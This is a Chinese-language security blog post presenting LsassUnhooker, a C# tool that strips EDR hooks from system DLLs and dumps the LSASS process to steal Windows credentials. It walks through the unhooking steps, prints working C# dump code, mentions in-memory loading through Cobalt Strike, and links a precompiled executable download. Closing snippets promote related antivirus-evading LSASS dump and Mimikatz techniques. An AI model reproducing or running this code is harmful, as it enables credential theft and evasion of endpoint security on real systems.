LsassUnhooker - 一款可用于绕过EDR挂钩转储lsass进程的工具

一颗小胡椒2022-07-20 08:00:07

LsassUnhooker

用C#编写的小程序可以绕过EDR钩子并转储lsass进程的内容,框架:.NET Framework 4,可以用CobaltStrike execute-assembly加载内存执行,集成至CS插件。

LsassUnhooker项目地址:

https://github.com/roberreigada/LsassUnhooker

SharpUnhooker项目地址:

https://github.com/GetRektBoy724/SharpUnhooker

该代码使用SharpUnhooker项目@GetRektBoy724创建,工作方式如下:

  1. 它使用“PE parser stuff”读取并复制.text section原始(磁盘中)DLL
  2. 它使用和从D/Invoke修补.text section加载的DLL(以更改内存的权限)Marshal.Copy、NtProtectVirtualMemory
  3. 它通过再次读取来检查修补的内存中 DLL,并将其与原始 DLL 进行比较,以查看其是否正确修补。

通过使用SharpUnhooker和MiniDumpWriteDump函数,我能够绕过多个EDR并设法在不被发现的情况下转储lsass的内容,这是解决问题的代码:

SilentUnhooker("ntdll.dll");SilentUnhooker("kernel32.dll");String dumpFileName = Directory.GetCurrentDirectory() + "\\" + "lsass.dmp";if (System.IO.File.Exists(dumpFileName)){  System.IO.File.Delete(dumpFileName);}IntPtr hFile = NativeMethods.CreateFile(dumpFileName, NativeMethods.EFileAccess.GenericWrite, NativeMethods.EFileShare.None, lpSecurityAttributes: IntPtr.Zero, dwCreationDisposition: NativeMethods.ECreationDisposition.CreateAlways, dwFlagsAndAttributes: NativeMethods.EFileAttributes.Normal, hTemplateFile: IntPtr.Zero);NativeMethods._MINIDUMP_TYPE dumpType = NativeMethods._MINIDUMP_TYPE.MiniDumpWithFullMemory;var proc = Process.GetProcessesByName("lsass").FirstOrDefault();var exceptInfo = new NativeMethods.MINIDUMP_EXCEPTION_INFORMATION();var result = NativeMethods.MiniDumpWriteDump(proc.Handle, proc.Id, hFile, dumpType, ref exceptInfo, UserStreamParam: IntPtr.Zero, CallbackParam: IntPtr.Zero);if (result == true) {  Console.WriteLine("lsass process was successfully dumped in " + Directory.GetCurrentDirectory() + "\\" + "lsass.dmp");}else {  Console.WriteLine("Error dumping lsass process");}

已经编译好的LsassUnhooker.exe文件:

链接:https://pan.baidu.com/s/1VaqGK-FnyvsveN3hrz5XwA

提取码:z78j

lsass
本作品采用《CC 协议》,转载必须注明作者和本文链接
LsassUnhooker用C#编写的小程序可以绕过EDR钩子并转储lsass进程的内容,框架:.NET Framework 4,可以用CobaltStrike?execute-assembly加载内存执行,集成至CS插件。
lsass.exe(Local Security Authority Subsystem Service进程空间中,存有着机器的域、本地用户名和密码等重要信息。
起因是前两天看到QAX-Ateam的一篇关于渗透的文章《这是一篇“不一样”的真实渗透测试案例分析文章》:
绕过杀软dump-Lsass内存
2021-12-02 06:54:18
dump lsass 进程是我们永远都逃不过话题,除非微软那天不用它保存凭据了,自然而然就不dump 它了,抓密码是渗透重要的环节,是横向扩展的基础,接下来讲讲见到如何绕过杀软dump lsass内存。
在渗透测试中,最常用的方法是通过dump进程lsass.exe,从中获得明文口令和hash,今天分享两个免杀转储lsass方式,目前亲测可过某60 or 某绒。在原理上都是使用API MiniDumpWriteDump,通过comsvcs.dll的导出函数MiniDump实现dump内存。
攻击者在获得起始攻击点后,需要获取目标主机上的相关凭证,以便通过用户凭证进行横向移动。
可以自行安装Visual Studio2022,然后访问路径,把工具拖出来使用即可,也可以直接在文末获取下载地址转储 LSASS
能过卡巴、defender等杀软的dump lsass进程工具,参考代码链接在下面。由minidumpCallback实现,对缓冲区中内存做了些修改后再写入磁盘,同时做了一些小细节修改。需要注意的是别扔云沙箱,这工具也没有任何网络行为。
后渗透
2021-10-09 06:35:54
如果是这种情况,您不能只是转储或解析 LSASS,您需要使用类似mimidrv.sys,PPLDump等 使用 Mimikatz 转储操作系统凭据
LSASS 进程加载的 wdigest.dll 模块有两个有趣的全局变量
一颗小胡椒
暂无描述